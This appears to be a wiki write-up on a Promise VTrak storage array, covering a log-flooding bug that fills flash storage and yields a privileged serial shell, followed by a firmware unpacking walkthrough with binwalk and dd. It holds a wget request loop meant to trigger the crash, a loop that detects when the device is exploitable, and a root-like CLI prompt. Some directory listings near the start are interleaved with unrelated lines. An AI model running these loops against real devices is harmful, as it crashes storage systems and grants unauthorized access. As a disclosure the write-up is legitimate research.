-rwxr--r-- 1 1023 232 70420 Jan  1  1970 chassisVtrak2U_iSCSI.gif
-rwxr--r-- 1 1023 232 70894 Jan  1  1970 chassisVtrak2U_SCSI.gif
-rwxr--r-- 1 1023 232 81885 Jan  1  1970 chassisVtrak.gif
-rwxr--r-- 1 1023 232  111 Jan  1  1970 ledGrayFlash.gif
-rwxr--r-- 1 1023 232    98 Jan  1  1970 ledGray.gif
-rwxr--r-- 1 1023 232  111 Jan  1  1970 ledGreenFlash.gif
-rwxr--r-- 1 1023 232    98 Jan  1  1970 ledGreen.gif
-rwxr--r-- 1 1023 232  111 Jan  1  1970 ledRedFlash.gif
-rwxr--r-- 1 1023 232    98 Jan  1  1970 ledRed.gif
-rwxr--r-- 1 1023 232  111 Jan  1  1970 ledYellowFlash.gif
-rwxr--r-- 1 1023 232    98 Jan  1  1970 ledYellow.gif
-rwxr--r-- 1 1023 232  3635 Jan  1  1970 psbad.gif
-rwxr--r-- 1 1023 232  3184 Jan  1  1970 pscritical.gif
-rwxr--r-- 1 1023 232  4905 Jan  1  1970 psfanbad.gif
-rwxr--r-- 1 1023 232  4862 Jan  1  1970 psfangood.gif
-rwxr--r-- 1 1023 232  3169 Jan  1  1970 psfanstop.gif
-rwxr--r-- 1 1023 232  6391 Jan  1  1970 psgood.gif
-rwxr--r-- 1 1023 232 65476 Jan  1  1970 S200p.gif
-rwxr--r-- 1 1023 232  1049 Jan  1  1970 tmpbad.gif
-rwxr--r-- 1 1023 232  883 Jan  1  1970 tmpcritical.gif
-rwxr--r-- 1 1023 232  1395 Jan  1  1970 tmpgood.gif
-rwxr--r-- 1 1023 232  181 Jan  1  1970 voltagebad.gif
-rwxr--r-- 1 1023 232  184 Jan  1  1970 voltagecritical.gif
-rwxr--r-- 1 1023 232  177 Jan  1  1970 voltagegood.gif
-rwxr--r-- 1 1023 232 11085 Jan  1  1970 VtrakFront12.gif
-rwxr--r-- 1 1023 232  8107 Jan  1  1970 VtrakFront8.gif
-rwxr--r-- 1 1023 232 21199 Jan  1  1970 VtrakFront.gif


part6/sw/gui/icons:
== Thanks ==
total 18
* Mathis Schmieder for the ''fsck.cramfs'' tip, i was a bit lost when i discovered the errors in Part 3
-rwxr--r-- 1 1023 232 179 Jan  1  1970 admin.gif
* Joris from Promise Technology, he was the one that eventually understood what i was trying to tell them all the time
-rwxr--r-- 1 1023 232 249 Jan  1  1970 array.gif
-rwxr--r-- 1 1023 232 275 Jan  1  1970 arrays.gif
-rwxr--r-- 1 1023 232  96 Jan  1  1970 arrowdn.gif
-rwxr--r-- 1 1023 232  99 Jan  1  1970 arrowrt.gif
-rwxr--r-- 1 1023 232 952 Jan  1  1970 controller.gif
-rwxr--r-- 1 1023 232 971 Jan  1  1970 controllers.gif
-rwxr--r-- 1 1023 232 148 Jan  1  1970 enclosure.gif
-rwxr--r-- 1 1023 232 152 Jan  1  1970 enclosures.gif
-rwxr--r-- 1 1023 232 131 Jan  1  1970 fdminus1.gif
-rwxr--r-- 1 1023 232 132 Jan  1  1970 fdminus.gif
-rwxr--r-- 1 1023 232 132 Jan  1  1970 fdplus1.gif
-rwxr--r-- 1 1023 232 137 Jan  1  1970 fdplus.gif
-rwxr--r-- 1 1023 232 120 Jan  1  1970 iconCritical.gif
-rwxr--r-- 1 1023 232 129 Jan  1  1970 iconDead.gif
-rwxr--r-- 1 1023 232 103 Jan  1  1970 icon.gif
-rwxr--r-- 1 1023 232 147 Jan  1  1970 iscsi.gif
-rwxr--r-- 1 1023 232 176 Jan  1  1970 logdrv.gif
-rwxr--r-- 1 1023 232 178 Jan  1  1970 logdrvs.gif
-rwxr--r-- 1 1023 232 192 Jan  1  1970 net.gif
-rwxr--r-- 1 1023 232 172 Jan  1  1970 phydrv.gif
-rwxr--r-- 1 1023 232 183 Jan  1  1970 phydrvs.gif
-rwxr--r-- 1 1023 232 177 Jan  1  1970 spare.gif
-rwxr--r-- 1 1023 232 190 Jan  1  1970 spares.gif
-rwxr--r-- 1 1023 232 177 Jan  1  1970 storage.gif
-rwxr--r-- 1 1023 232 193 Jan  1  1970 subsystem.gif
-rwxr--r-- 1 1023 232 201 Jan  1  1970 subsystems.gif
-rwxr--r-- 1 1023 232 155 Jan  1  1970 sw.gif
-rwxr--r-- 1 1023 232  55 Jan  1  1970 tab0.gif
-rwxr--r-- 1 1023 232 111 Jan  1  1970 tab1.gif
-rwxr--r-- 1 1023 232 115 Jan  1  1970 tab2.gif
-rwxr--r-- 1 1023 232 113 Jan  1  1970 tab.gif
-rwxr--r-- 1 1023 232 170 Jan  1  1970 user.gif


part6/sw/gui/images:
total 91
-rwxr--r-- 1 1023 232    97 Jan  1  1970 arrowdn.gif
-rwxr--r-- 1 1023 232  117 Jan  1  1970 ball-1.gif
-rwxr--r-- 1 1023 232    51 Jan  1  1970 ball-2.gif
-rwxr--r-- 1 1023 232  117 Jan  1  1970 ball-dn.gif
-rwxr--r-- 1 1023 232  118 Jan  1  1970 ball-rt.gif
-rwxr--r-- 1 1023 232  143 Jan  1  1970 bg.gif
-rwxr--r-- 1 1023 232    52 Jan  1  1970 blank.gif
-rwxr--r-- 1 1023 232  158 Jan  1  1970 HELP_01.gif
-rwxr--r-- 1 1023 232  148 Jan  1  1970 HELP_01-over.gif
-rwxr--r-- 1 1023 232  1570 Jan  1  1970 home-img01.gif
-rwxr--r-- 1 1023 232 14526 Jan  1  1970 home-img02.jpg
-rwxr--r-- 1 1023 232  696 Jan  1  1970 home-img03.gif
-rwxr--r-- 1 1023 232  4398 Jan  1  1970 home-img04.jpg
-rwxr--r-- 1 1023 232  1673 Jan  1  1970 home-img05.gif
-rwxr--r-- 1 1023 232  125 Jan  1  1970 home-img07.gif
-rwxr--r-- 1 1023 232  103 Jan  1  1970 home-img08.gif
-rwxr--r-- 1 1023 232  429 Jan  1  1970 home-img09.gif
-rwxr--r-- 1 1023 232  450 Jan  1  1970 line-1.gif
-rwxr--r-- 1 1023 232 47925 Jan  1  1970 login.gif
-rwxr--r-- 1 1023 232  7399 Jan  1  1970 logo.gif
-rwxr--r-- 1 1023 232  102 Jan  1  1970 select.gif
-rwxr--r-- 1 1023 232  105 Jan  1  1970 sortdn.gif
-rwxr--r-- 1 1023 232  105 Jan  1  1970 sortup.gif
-rwxr--r-- 1 1023 232  100 Jan  1  1970 tabl0.gif
-rwxr--r-- 1 1023 232  100 Jan  1  1970 tabl1.gif
-rwxr--r-- 1 1023 232  100 Jan  1  1970 tabr0.gif
-rwxr--r-- 1 1023 232  100 Jan  1  1970 tabr1.gif
-rwxr--r-- 1 1023 232  2201 Jan  1  1970 tree-bg.jpg


part6/sw/gui/languages:
EOF
total 1433
-rwxr--r-- 1 1023 232  3442 Jan  1  1970 de_DE_Contact.html
-rwxr--r-- 1 1023 232 171315 Jan  1  1970 de_DE_Messages.properties
-rwxr--r-- 1 1023 232  3004 Jan  1  1970 en_US_Contact.html
-rwxr--r-- 1 1023 232 157111 Jan  1  1970 en_US_Messages.properties
-rwxr--r-- 1 1023 232 181154 Jan  1  1970 es_ES_Messages.properties
-rwxr--r-- 1 1023 232  3507 Jan  1  1970 fr_FR_Contact.html
-rwxr--r-- 1 1023 232 177830 Jan  1  1970 fr_FR_Messages.properties
-rwxr--r-- 1 1023 232  3624 Jan  1  1970 it_IT_Contact.html
-rwxr--r-- 1 1023 232 171473 Jan  1  1970 it_IT_Messages.properties
-rwxr--r-- 1 1023 232  3406 Jan  1  1970 ja_JP_Contact.html
-rwxr--r-- 1 1023 232 157225 Jan  1  1970 ja_JP_Messages.properties
-rwxr--r-- 1 1023 232  3314 Jan  1  1970 ko_KR_Contact.html
-rwxr--r-- 1 1023 232 150013 Jan  1  1970 ko_KR_Messages.properties
-rwxr--r-- 1 1023 232  3847 Jan  1  1970 langList.php
-rwxr--r-- 1 1023 232  3161 Jan  1  1970 zh_CN_Contact.html
-rwxr--r-- 1 1023 232 132793 Jan  1  1970 zh_CN_Messages.properties
-rwxr--r-- 1 1023 232  3139 Jan  1  1970 zh_TW_Contact.html
-rwxr--r-- 1 1023 232 133382 Jan  1  1970 zh_TW_Messages.properties
</pre>

Latest revision as of 20:10, 26 August 2016

Template:TOCright

Exploit

I'm using a Promise VTrak M500f storage at work, and every couple of weeks it crashes. Updating to the latest firmware didn't help much.

It always starts with the device's webserver being unresponsive, and not much later the whole device just breaking down.

Usually, when i notice that the device starts to act up again, i just reboot it and it's fine for the next couple of weeks.

To do this, i log in on the serial console and run:

administrator@cli> shutdown -a restart

So the last time this happened, i noticed something is different with the CLI over serial console... it was... way more interesting!


Oh, exploitable!

Here's one of the problem sources: in line 23 and 24 of /islavista/sw/php/promise/language.php, which is included in the code that's executed when you access the device's WebPAM PROe webinterface, PHP is told to get the language of the user's browser from a header that the browser sends on each request.

No problem there, your browser provides this header, so you probably won't ever see any error from this code.

But if you're using a monitoring tool like Nagios, to check if the webinterface is still alive, your Nagios check doesn't send that header and PHP will throw an error of the level E_NOTICE.

$ php -a
Interactive mode enabled

<?php
preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
    $lang=$matches[1];
    switch(substr($lang,0,2))
    {
      case 'en':
   $language='en_US';
        break;
      // [...]
      default:
        $language='en_US';
        break;
    }
?>
PHP Notice:  Undefined index: HTTP_ACCEPT_LANGUAGE in - on line 2
PHP Notice:  Undefined offset: 1 in - on line 3

Of course, being the good developer that you are, you hide those errors, should they ever arise at all, from the user - and only write them to a logfile somewhere on your device's internal flash.

[08-Jul-2011 19:52:24] PHP Notice:  Undefined index:  HTTP_ACCEPT_LANGUAGE in /islavista/sw/php/promise/language.php on line 23
[08-Jul-2011 19:52:24] PHP Notice:  Undefined offset:  1 in /islavista/sw/php/promise/language.php on line 24
[08-Jul-2011 19:52:26] PHP Notice:  Undefined index:  HTTP_HOST in /islavista/sw/php/promise/index.php on line 182

Being a bit unsure yourself of how good of a developer you really are, you tell PHP in its config file /islavista/conf/sw/php.ini to not only log real errors of the levels E_WARNING or E_ERROR, or like the healthy default recommends, "E_ALL & ~E_NOTICE" (everything except E_NOTICE)... no, you want them all, so you can write impeccable code!

Have you ever wondered why it's called "default" setting? The De-Fault setting? Also known as the "Please don't break anything!" setting? You'll find out soon.

So, your Nagios checks the webserver every 5 minutes, every hour of the day, every day of the week, etc., and every time there are a couple of lines appended to the logfile, because you want to be in control an see each and any issue in you code.

Now what would you think will happen if that logfile gets so big that there is no space left on that flash?

I can tell you what will happen:

islavista> _

When i told Promise about the issue, one of their support engineers had only this to say:

"I just can repeat [to] you one more time, you should not even know the word 'islavista' related to this device."

Okay, that was a lie, it wasn't the only thing he said. He added:

"You need a new controller."

O RLY? I don't think that replacing my hardware will fix an issue in your firmware.

(Speaking of which, i'm still unsure if i should publish the whole conversation via their ticketing system, that will be pretty embarassing for them... they tried to convince me that my hardware is faulty and needs to be replaced. Yeah, right.)


Privilege Escalation

The 3 lines per request equal 354 Bytes of text, and my storage crashed when the logfile was roughly 3.5 MB in size, so in theory ~10.000 requests are all that's needed for this exploit to work its magic.

Nagios checks every 5 minutes, that's 288 requests per day, which means that after ~35 days the log should have filled all available space.

Can we speed this up? Yes, we can. A wget request to the webinterface takes me an average of 6 seconds, so with the following simple script i can get ~14400 requests per day, which means it takes ~17 hours fill all available space.

$ while [ true ]; do wget -O /dev/null "http://192.168.0.2"; done

Check the webinterface from time to time, when you see an PHP error that it couldn't write it's session because /tmp is full, you're golden! Fire up you serial console and enjoy.

You can automate this, too:

$ while [ true ]; do if `lynx --dump "http://192.168.0.2/" | grep -q "tmp"`; then echo "EOF" | mail -s 'Exploit ready!' you@example.com; break; fi; done

Remote Privilege Escalation, too?

Still unconfirmed, but in theory this should also work over Telnet instead of the serial console, provided that Telnet is enabled on the device.



Firmware

Getting Started

Download the most recent firmware, at the time of this writing it was v2.39, and also make sure you have binwalk installed, an incredibly helpful tool when analyzing firmware files:


Analyzing the Firmware file

Use binwalk to look for the addresses of files within the firmware file:

$ binwalk -v iv2p_all_20110303_16mb.img

This gives you a nice table with the decimal offset of each file in the firmware, and also the most likely format of this file:

Scan Time:    Aug 03, 2011 @ 20:13:21
Magic File:   /etc/binwalk/magic.binwalk
Signatures:   67
Target File:  iv2p_all_20110303_16mb.img
MD5 Checksum: b8dad677c907a53ca9b222f2103c13b3

DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------
18204           0x471C          gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression
871968          0xD4E20         Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs, CRC 0xeeb623f0, edition 0, 1217 blocks, 7 files
3456544         0x34BE20        Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs, CRC 0xf1e0771a, edition 0, 2870 blocks, 946 files
3528967         0x35D907        bzip2 compressed data
6688288         0x660E20        gzip compressed data, from Unix, last modified: Thu Mar  3 03:51:40 2011, max compression
11309493        0xAC91B5        Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs, CRC 0x477edaab, edition 0, 802 blocks, 142 files
12882033        0xC49071        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13215338        0xC9A66A        LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes
13216042        0xC9A92A        LZMA compressed data, properties: 0x86, dictionary size: 745537536 bytes, uncompressed size: 16388 bytes
13216734        0xC9ABDE        LZMA compressed data, properties: 0x89, dictionary size: 747110400 bytes, uncompressed size: 16388 bytes
13219257        0xC9B5B9        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13220658        0xC9BB32        LZMA compressed data, properties: 0x95, dictionary size: 272629760 bytes, uncompressed size: 16387 bytes
13221334        0xC9BDD6        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
13221354        0xC9BDEA        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes

Extracting the Firmware parts

The principle is pretty simple: use dd to read a segment from the firmware (if=), using a blocksize (bs=) of 1, starting (skip=) at the decimal offset of the file you want, with a length (count=) of "the next file's offset minus this file's offset" and write it to an ouput file (of=). It makes it a lot easier if you give the output file the extension of the filetype that binwalk tells you.


Part 1

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz
$ gunzip part1.gz
$ file part1
part1: data

Probably the kernel and initrd?


Part 2

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs
$ mkdir part2
$ mount -o loop parts2.cramfs part2/
$ ls -l part2/
total 4858
-rw-r--r-- 1 root root   18204 Jan  1  1970 iodrv.o
-rw-r--r-- 1 root root  233655 Jan  1  1970 Marvell.o
-rw-r--r-- 1 root root  470713 Jan  1  1970 qla4xxx.o
-rw-r--r-- 1 root root 3193368 Jan  1  1970 raid_core.o
-rw-r--r-- 1 root root  436560 Jan  1  1970 scsi.o
-rw-r--r-- 1 root root  619697 Jan  1  1970 xfc.o

Kernel modules, boooring!


Part 3

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs
$ mount -o loop part3.cramfs part3/
$ ls -lR part3/

Full contents of Part 3

The webinterface and some non-standard binaries, so this must be their own code.

When accessing a file you'll get an error, though. Quick check:

$ fsck.cramfs part3.cramfs
fsck.cramfs: file length too short

Damn.


Part 4

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3528967 count=3159321 of=part4.bz2
$ bunzip2 part4.bz2
bunzip2: part4.bz2 is not a bzip2 file.

Hmm, strange.


Part 5

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=6688288 count=4621205 of=part5.gz
$ gunzip part5.gz
$ file part5
part5: Linux rev 1.0 ext2 filesystem data, UUID=1e4f9d2b-b406-4a38-bbf8-8f1fcf52e5c7

So it's a gzip, but that contains an ext2 partition.

$ mv part5 part5.ext2
$ mkdir part5
$ mount -o loop part5.ext2 part5/
$ ls -lR part5/

Full contents of Part 5

BusyBox, libraries, you name it. This must be the base Linux part.

Part 6

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=11309493 count=1572540 of=part6.cramfs
$ mkdir part6/
$ mount -o loop part6.cramfs part6/
$ ls -lR part6/

Full contents of Part 6

fw and sw, this is probably the interesting stuff? But where's the /islavista/conf/sw/php.ini?

Fixing Part 3

Part 3 is a broken CramFS, and Part 4 is a bzip2 file that is not a bzip2 file... smells fishy. Let's say Part 3 is actually Part 3.1 and Part 4 is Part 3.2:

$ dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=3231744 of=part3.cramfs
$ fsck.cramfs -v part3.cramfs
cramfs endianness is little
part3.cramfs: OK

Bingo!

The Missing Link

There are a lot of strings throughout the fimware that point at 4 MTD blocks which get mounted into the /islavista/conf, /islavista/fw, /islavista/sw and /oem directories.

Finding the contents of those blocks that gets written to the flash is the interesting part...

/dev/mtdblock5  /islavista/fw       cramfs  suid,dev,exec,auto,nouser,async,ro
/dev/mtdblock6  /islavista/sw       cramfs  suid,dev,exec,auto,nouser,async,ro
/dev/mtdblock2  /islavista/conf     jffs2   defaults
/dev/mtdblock7  /oem                cramfs  suid,dev,exec,auto,nouser,async,ro

The directory /islavista/flash seems to be the upload destination for firmware updates via the webinterface. The filesystem in Part 6 gets mounted to /oem.

So where do the juicy bits come from? Let's binwalk part1:

$binwalk -av -x MIPSE part1

binwalk output

We're still looking for 2 CramFS and 1 JFFS2...

Todo

  • Find the page that will throw the most errors, to speed up filling the flash.
  • Privilege Escalation is already nice, how about Remote Privilege Escalation? Confirm that this also works when using Telnet, not only serial console!
  • Where's that php.ini hidden in the firmware? Can't be found in any of the firmware parts, yet - maybe generated at runtime? Hmm, hmm, hmm.
  • Analyze the firmware of different models/series. Code recycling FTW!


Thanks

  • Mathis Schmieder for the fsck.cramfs tip, i was a bit lost when i discovered the errors in Part 3
  • Joris from Promise Technology, he was the one that eventually understood what i was trying to tell them all the time


EOF